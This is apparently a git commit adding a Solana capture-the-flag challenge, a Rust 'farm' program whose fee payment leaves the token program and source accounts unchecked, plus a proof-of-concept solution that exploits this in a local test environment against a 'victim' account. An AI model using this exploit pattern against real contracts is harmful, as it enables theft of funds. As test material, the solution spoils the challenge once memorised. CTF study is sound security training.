First commit
This commit is contained in:
parent
4e289b840e
commit
5118474336
33
ctf/.vscode/tasks.json
vendored
Normal file
33
ctf/.vscode/tasks.json
vendored
Normal file
@ -0,0 +1,33 @@
|
||||
{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{
|
||||
"label": "run poc",
|
||||
"type": "cargo",
|
||||
"command": "run",
|
||||
"args": [
|
||||
"--bin",
|
||||
"poc"
|
||||
],
|
||||
"group": "build",
|
||||
"env": {
|
||||
"RUST_BACKTRACE": "1"
|
||||
},
|
||||
"dependsOn": [
|
||||
"build contracts"
|
||||
]
|
||||
},
|
||||
{
|
||||
"label": "build contracts",
|
||||
"type": "cargo",
|
||||
"command": "build-bpf",
|
||||
"args": [
|
||||
"--workspace"
|
||||
],
|
||||
"env": {
|
||||
"RUST_BACKTRACE": "1"
|
||||
},
|
||||
"group": "build",
|
||||
}
|
||||
]
|
||||
}
|
29
ctf/Cargo.toml
Normal file
29
ctf/Cargo.toml
Normal file
@ -0,0 +1,29 @@
|
||||
[package]
|
||||
name = "ctf-solana-farm"
|
||||
version = "0.1.0"
|
||||
authors = ["lowprivuser"]
|
||||
repository = "https://github.com/solana-labs/solana"
|
||||
license = "Apache-2.0"
|
||||
homepage = "https://solana.com/"
|
||||
edition = "2018"
|
||||
|
||||
[features]
|
||||
no-entrypoint = []
|
||||
test-bpf = []
|
||||
|
||||
[dependencies]
|
||||
borsh = "0.9.1"
|
||||
borsh-derive = "0.9.1"
|
||||
solana-program = "1.7.8"
|
||||
num-derive = "0.3"
|
||||
num-traits = "0.2"
|
||||
thiserror = "1.0"
|
||||
spl-token = { version = "3.2.0", features = [ "no-entrypoint" ] }
|
||||
|
||||
[dev-dependencies]
|
||||
solana-program-test = "1.7.8"
|
||||
solana-sdk = "1.7.8"
|
||||
|
||||
[lib]
|
||||
name = "ctf_solana_farm"
|
||||
crate-type = ["cdylib", "lib"]
|
2
ctf/Xargo.toml
Normal file
2
ctf/Xargo.toml
Normal file
@ -0,0 +1,2 @@
|
||||
[target.bpfel-unknown-unknown.dependencies.std]
|
||||
features = []
|
1
ctf/src/constant.rs
Normal file
1
ctf/src/constant.rs
Normal file
@ -0,0 +1 @@
|
||||
pub const FARM_FEE:u64 = 5000;
|
45
ctf/src/error.rs
Normal file
45
ctf/src/error.rs
Normal file
@ -0,0 +1,45 @@
|
||||
use {
|
||||
num_derive::FromPrimitive,
|
||||
solana_program::{
|
||||
decode_error::DecodeError,
|
||||
program_error::ProgramError
|
||||
},
|
||||
thiserror::Error
|
||||
};
|
||||
|
||||
#[derive(Clone, Debug, Eq, Error, FromPrimitive, PartialEq)]
|
||||
pub enum FarmError {
|
||||
#[error("AlreadyInUse")]
|
||||
AlreadyInUse,
|
||||
|
||||
#[error("InvalidProgramAddress")]
|
||||
InvalidProgramAddress,
|
||||
|
||||
#[error("SignatureMissing")]
|
||||
SignatureMissing,
|
||||
|
||||
#[error("InvalidFeeAccount")]
|
||||
InvalidFeeAccount,
|
||||
|
||||
#[error("WrongPoolMint")]
|
||||
WrongPoolMint,
|
||||
|
||||
#[error("This farm is not allowed yet")]
|
||||
NotAllowed,
|
||||
|
||||
#[error("Wrong Farm Fee")]
|
||||
InvalidFarmFee,
|
||||
|
||||
#[error("Wrong Creator")]
|
||||
WrongCreator,
|
||||
}
|
||||
impl From<FarmError> for ProgramError {
|
||||
fn from(e: FarmError) -> Self {
|
||||
ProgramError::Custom(e as u32)
|
||||
}
|
||||
}
|
||||
impl<T> DecodeError<T> for FarmError {
|
||||
fn type_of() -> &'static str {
|
||||
"Farm Error"
|
||||
}
|
||||
}
|
70
ctf/src/instruction.rs
Normal file
70
ctf/src/instruction.rs
Normal file
@ -0,0 +1,70 @@
|
||||
#![allow(clippy::too_many_arguments)]
|
||||
|
||||
use {
|
||||
borsh::{BorshDeserialize, BorshSchema, BorshSerialize},
|
||||
solana_program::{
|
||||
instruction::{AccountMeta, Instruction},
|
||||
pubkey::Pubkey,
|
||||
},
|
||||
};
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Debug, PartialEq, BorshSerialize, BorshDeserialize, BorshSchema)]
|
||||
pub enum FarmInstruction {
|
||||
/// Initializes a new Farm.
|
||||
/// These represent the parameters that will be included from client side
|
||||
/// [w] - writable (account), [s] - signer (account), [] - readonly (account)
|
||||
///
|
||||
/// 0. `[w]` farm account
|
||||
/// 1. `[]` farm authority
|
||||
/// 2. `[s]` farm creator
|
||||
/// 3. nonce
|
||||
Create {
|
||||
#[allow(dead_code)]
|
||||
/// nonce
|
||||
nonce: u8,
|
||||
},
|
||||
|
||||
/// Creator has to pay a fee to unlock the farm
|
||||
///
|
||||
/// 0. `[w]` farm account
|
||||
/// 1. `[]` farm authority
|
||||
/// 2. `[s]` farm creator
|
||||
/// 4. `[]` farm creator token account
|
||||
/// 5. `[]` fee vault
|
||||
/// 6. `[]` token program id
|
||||
/// 7. `[]` farm program id
|
||||
/// 8. `[]` amount
|
||||
PayFarmFee(
|
||||
// farm fee
|
||||
u64
|
||||
),
|
||||
}
|
||||
|
||||
/// you can use this helper function to create the PayFarmFee instruction in your client
|
||||
/// see PayFarmFee enum variant above for account breakdown
|
||||
/// please note [amount] HAS TO match the farm fee, otherwise your transaction is going to fail
|
||||
pub fn ix_pay_create_fee(
|
||||
farm_id: &Pubkey,
|
||||
authority: &Pubkey,
|
||||
creator: &Pubkey,
|
||||
creator_token_account: &Pubkey,
|
||||
fee_vault: &Pubkey,
|
||||
token_program_id: &Pubkey,
|
||||
farm_program_id: &Pubkey,
|
||||
amount: u64,
|
||||
) -> Instruction {
|
||||
let accounts = vec![
|
||||
AccountMeta::new(*farm_id, false),
|
||||
AccountMeta::new_readonly(*authority, false),
|
||||
AccountMeta::new(*creator, true),
|
||||
AccountMeta::new(*creator_token_account, false),
|
||||
AccountMeta::new(*fee_vault, false),
|
||||
AccountMeta::new_readonly(*token_program_id, false),
|
||||
];
|
||||
Instruction {
|
||||
program_id: *farm_program_id,
|
||||
accounts,
|
||||
data: FarmInstruction::PayFarmFee(amount).try_to_vec().unwrap(),
|
||||
}
|
||||
}
|
35
ctf/src/lib.rs
Normal file
35
ctf/src/lib.rs
Normal file
@ -0,0 +1,35 @@
|
||||
use solana_program::{
|
||||
account_info::{ AccountInfo},
|
||||
entrypoint,
|
||||
entrypoint::ProgramResult,
|
||||
program_error::PrintProgramError,
|
||||
pubkey::Pubkey,
|
||||
};
|
||||
|
||||
pub mod error;
|
||||
pub mod instruction;
|
||||
pub mod processor;
|
||||
pub mod state;
|
||||
pub mod constant;
|
||||
|
||||
// this registers the program entrypoint
|
||||
entrypoint!(process_instruction);
|
||||
|
||||
/// this is the program entrypoint
|
||||
/// this function ALWAYS takes three parameters:
|
||||
/// the ID of this program, array of accounts and instruction data
|
||||
pub fn process_instruction(
|
||||
program_id: &Pubkey,
|
||||
accounts: &[AccountInfo],
|
||||
_instruction_data: &[u8],
|
||||
) -> ProgramResult {
|
||||
// process the instruction
|
||||
if let Err(error) = processor::Processor::process(program_id, accounts, _instruction_data) {
|
||||
// revert the transaction and print the relevant error to validator log if processing fails
|
||||
error.print::<error::FarmError>();
|
||||
Err(error)
|
||||
} else {
|
||||
// otherwise return OK
|
||||
Ok(())
|
||||
}
|
||||
}
|
182
ctf/src/processor.rs
Normal file
182
ctf/src/processor.rs
Normal file
@ -0,0 +1,182 @@
|
||||
use {
|
||||
crate::{
|
||||
error::FarmError,
|
||||
instruction::{
|
||||
FarmInstruction
|
||||
},
|
||||
state::{
|
||||
Farm,
|
||||
},
|
||||
constant::{
|
||||
FARM_FEE,
|
||||
},
|
||||
},
|
||||
borsh::{BorshDeserialize, BorshSerialize},
|
||||
num_traits::FromPrimitive,
|
||||
solana_program::{
|
||||
instruction::{
|
||||
AccountMeta,
|
||||
Instruction
|
||||
},
|
||||
account_info::{
|
||||
next_account_info,
|
||||
AccountInfo,
|
||||
},
|
||||
borsh::try_from_slice_unchecked,
|
||||
decode_error::DecodeError,
|
||||
entrypoint::ProgramResult,
|
||||
msg,
|
||||
program::invoke_signed,
|
||||
program_error::PrintProgramError,
|
||||
program_error::ProgramError,
|
||||
program_pack::Pack,
|
||||
pubkey::Pubkey,
|
||||
},
|
||||
spl_token::{
|
||||
instruction::TokenInstruction,
|
||||
state::Account as TokenAccount
|
||||
}
|
||||
};
|
||||
|
||||
pub struct Processor {}
|
||||
impl Processor {
|
||||
/// this is the instruction data router
|
||||
pub fn process(program_id: &Pubkey, accounts: &[AccountInfo], input: &[u8]) -> ProgramResult {
|
||||
let instruction = FarmInstruction::try_from_slice(input)?;
|
||||
|
||||
// here we route the data based on instruction type
|
||||
match instruction {
|
||||
// pay the farm fee
|
||||
FarmInstruction::PayFarmFee(amount) => {
|
||||
Self::process_pay_farm_fee(program_id, accounts, amount)
|
||||
},
|
||||
|
||||
// otherwise return an error
|
||||
_ => Err(FarmError::NotAllowed.into())
|
||||
}
|
||||
}
|
||||
|
||||
/// this function handles farm fee payment
|
||||
/// by default, farms are not allowed (inactive)
|
||||
/// farm creator has to pay 5000 tokens to enable the farm
|
||||
pub fn process_pay_farm_fee(
|
||||
program_id: &Pubkey,
|
||||
accounts: &[AccountInfo],
|
||||
amount: u64,
|
||||
) -> ProgramResult {
|
||||
let account_info_iter = &mut accounts.iter();
|
||||
|
||||
let farm_id_info = next_account_info(account_info_iter)?;
|
||||
let authority_info = next_account_info(account_info_iter)?;
|
||||
let creator_info = next_account_info(account_info_iter)?;
|
||||
let creator_token_account_info = next_account_info(account_info_iter)?;
|
||||
let fee_vault_info = next_account_info(account_info_iter)?;
|
||||
let token_program_info = next_account_info(account_info_iter)?;
|
||||
let mut farm_data = try_from_slice_unchecked::<Farm>(&farm_id_info.data.borrow())?;
|
||||
|
||||
if farm_data.enabled == 1 {
|
||||
return Err(FarmError::AlreadyInUse.into());
|
||||
}
|
||||
|
||||
if !creator_info.is_signer {
|
||||
return Err(FarmError::SignatureMissing.into())
|
||||
}
|
||||
|
||||
if *creator_info.key != farm_data.creator {
|
||||
return Err(FarmError::WrongCreator.into());
|
||||
}
|
||||
|
||||
if *authority_info.key != Self::authority_id(program_id, farm_id_info.key, farm_data.nonce)? {
|
||||
return Err(FarmError::InvalidProgramAddress.into());
|
||||
}
|
||||
|
||||
if amount != FARM_FEE {
|
||||
return Err(FarmError::InvalidFarmFee.into());
|
||||
}
|
||||
|
||||
let fee_vault_owner = TokenAccount::unpack_from_slice(&fee_vault_info.try_borrow_data()?)?.owner;
|
||||
|
||||
|
||||
if fee_vault_owner != *authority_info.key {
|
||||
return Err(FarmError::InvalidFeeAccount.into())
|
||||
}
|
||||
|
||||
Self::token_transfer(
|
||||
farm_id_info.key,
|
||||
token_program_info.clone(),
|
||||
creator_token_account_info.clone(),
|
||||
fee_vault_info.clone(),
|
||||
creator_info.clone(),
|
||||
farm_data.nonce,
|
||||
amount
|
||||
)?;
|
||||
|
||||
farm_data.enabled = 1;
|
||||
|
||||
farm_data
|
||||
.serialize(&mut *farm_id_info.data.borrow_mut())
|
||||
.map_err(|e| e.into())
|
||||
}
|
||||
|
||||
/// this function validates the farm authority address
|
||||
pub fn authority_id(
|
||||
program_id: &Pubkey,
|
||||
my_info: &Pubkey,
|
||||
nonce: u8,
|
||||
) -> Result<Pubkey, FarmError> {
|
||||
Pubkey::create_program_address(&[&my_info.to_bytes()[..32], &[nonce]], program_id)
|
||||
.or(Err(FarmError::InvalidProgramAddress))
|
||||
}
|
||||
|
||||
/// this function facilitates token transfer
|
||||
pub fn token_transfer<'a>(
|
||||
pool: &Pubkey,
|
||||
token_program: AccountInfo<'a>,
|
||||
source: AccountInfo<'a>,
|
||||
destination: AccountInfo<'a>,
|
||||
authority: AccountInfo<'a>,
|
||||
nonce: u8,
|
||||
amount: u64,
|
||||
) -> Result<(), ProgramError> {
|
||||
let pool_bytes = pool.to_bytes();
|
||||
let authority_signature_seeds = [&pool_bytes[..32], &[nonce]];
|
||||
let signers = &[&authority_signature_seeds[..]];
|
||||
|
||||
let data = TokenInstruction::Transfer { amount }.pack();
|
||||
|
||||
let mut accounts = Vec::with_capacity(4);
|
||||
accounts.push(AccountMeta::new(*source.key, false));
|
||||
accounts.push(AccountMeta::new(*destination.key, false));
|
||||
accounts.push(AccountMeta::new_readonly(*authority.key, true));
|
||||
|
||||
let ix = Instruction {
|
||||
program_id: *token_program.key,
|
||||
accounts,
|
||||
data,
|
||||
};
|
||||
|
||||
invoke_signed(
|
||||
&ix,
|
||||
&[source, destination, authority, token_program],
|
||||
signers,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
impl PrintProgramError for FarmError {
|
||||
fn print<E>(&self)
|
||||
where
|
||||
E: 'static + std::error::Error + DecodeError<E> + PrintProgramError + FromPrimitive,
|
||||
{
|
||||
match self {
|
||||
FarmError::AlreadyInUse => msg!("Error: account already in use"),
|
||||
FarmError::InvalidProgramAddress => msg!("Error: the program address provided doesn't match the value generated by the program"),
|
||||
FarmError::SignatureMissing => msg!("Error: signature missing"),
|
||||
FarmError::InvalidFeeAccount => msg!("Error: fee vault mismatch"),
|
||||
FarmError::WrongPoolMint => msg!("Error: pool mint incorrect"),
|
||||
FarmError::NotAllowed => msg!("Error: farm not allowed"),
|
||||
FarmError::InvalidFarmFee => msg!("Error: farm fee incorrect. should be {}",FARM_FEE),
|
||||
FarmError::WrongCreator => msg!("Error: creator mismatch"),
|
||||
}
|
||||
}
|
||||
}
|
19
ctf/src/state.rs
Normal file
19
ctf/src/state.rs
Normal file
@ -0,0 +1,19 @@
|
||||
#![allow(clippy::too_many_arguments)]
|
||||
use {
|
||||
borsh::{BorshDeserialize, BorshSchema, BorshSerialize},
|
||||
solana_program::{
|
||||
pubkey::{Pubkey},
|
||||
},
|
||||
};
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Debug, Default, PartialEq, BorshDeserialize, BorshSerialize, BorshSchema)]
|
||||
/// this structs describes a Farm
|
||||
/// all farms are disabled by default
|
||||
pub struct Farm {
|
||||
pub enabled: u8,
|
||||
pub nonce: u8,
|
||||
pub token_program_id: Pubkey,
|
||||
pub creator: Pubkey,
|
||||
pub fee_vault: Pubkey,
|
||||
}
|
16
solution/Cargo.toml
Normal file
16
solution/Cargo.toml
Normal file
@ -0,0 +1,16 @@
|
||||
[package]
|
||||
name = "poc_solana"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
solana-program = "1.8.2"
|
||||
borsh = "0.9.1"
|
||||
borsh-derive = "0.9.1"
|
||||
spl-token = { version = "*", features = ["no-entrypoint"] }
|
||||
owo-colors = "3.1.0"
|
||||
solana-logger = "1.8.2"
|
||||
poc-framework = { version = "0.1.2" }
|
||||
ctf-solana-farm = { path = "../ctf", features = ["no-entrypoint"] }
|
74
solution/src/bin/main.rs
Normal file
74
solution/src/bin/main.rs
Normal file
@ -0,0 +1,74 @@
|
||||
use std::{env, str::FromStr};
|
||||
|
||||
|
||||
use ctf_solana_farm::state::Farm;
|
||||
use ctf_solana_farm::instruction::ix_pay_create_fee;
|
||||
use poc_framework::{
|
||||
keypair, solana_sdk::signer::Signer, Environment, LocalEnvironment, PrintableTransaction
|
||||
};
|
||||
use solana_program::{pubkey::Pubkey, native_token::sol_to_lamports};
|
||||
use borsh::BorshSerialize;
|
||||
|
||||
fn main() {
|
||||
setup();
|
||||
}
|
||||
pub fn get_vault_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey {
|
||||
let (vault_address, _) = Pubkey::find_program_address(
|
||||
&[&authority.to_bytes(), &"VAULT".as_bytes()],
|
||||
&wallet_program,
|
||||
);
|
||||
vault_address
|
||||
}
|
||||
|
||||
|
||||
fn setup() -> u8 {
|
||||
let mut dir = env::current_exe().unwrap();
|
||||
let path = {
|
||||
dir.pop();
|
||||
dir.pop();
|
||||
dir.push("deploy");
|
||||
dir.push("ctf_solana_farm.so");
|
||||
dir.to_str()
|
||||
}
|
||||
.unwrap();
|
||||
let program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap();
|
||||
|
||||
let farm = keypair(123);
|
||||
let authority = Pubkey::create_program_address(&[&farm.pubkey().to_bytes(), &[12]], &program).unwrap();
|
||||
let victim = keypair(4);
|
||||
let mint = keypair(5);
|
||||
|
||||
let mut env = LocalEnvironment::builder()
|
||||
.add_program(program, path)
|
||||
.add_account_with_tokens(victim.pubkey(), mint.pubkey(), farm.pubkey(), sol_to_lamports(31337.0))
|
||||
.add_account_with_lamports(
|
||||
authority,
|
||||
program,
|
||||
sol_to_lamports(100000.0))
|
||||
.build();
|
||||
|
||||
|
||||
let farm_vec = Farm {
|
||||
enabled: 0,
|
||||
nonce: 12,
|
||||
token_program_id: program,
|
||||
creator: farm.pubkey(),
|
||||
fee_vault: farm.pubkey()
|
||||
};
|
||||
env.create_account_with_data(&farm, farm_vec.try_to_vec().unwrap());
|
||||
env.execute_as_transaction(
|
||||
&[ix_pay_create_fee(
|
||||
&farm.pubkey(),
|
||||
&authority,
|
||||
&farm.pubkey(),
|
||||
&farm.pubkey(),
|
||||
&victim.pubkey(),
|
||||
&program,
|
||||
&program,
|
||||
5000
|
||||
)],
|
||||
&[&farm])
|
||||
.print();
|
||||
|
||||
1
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user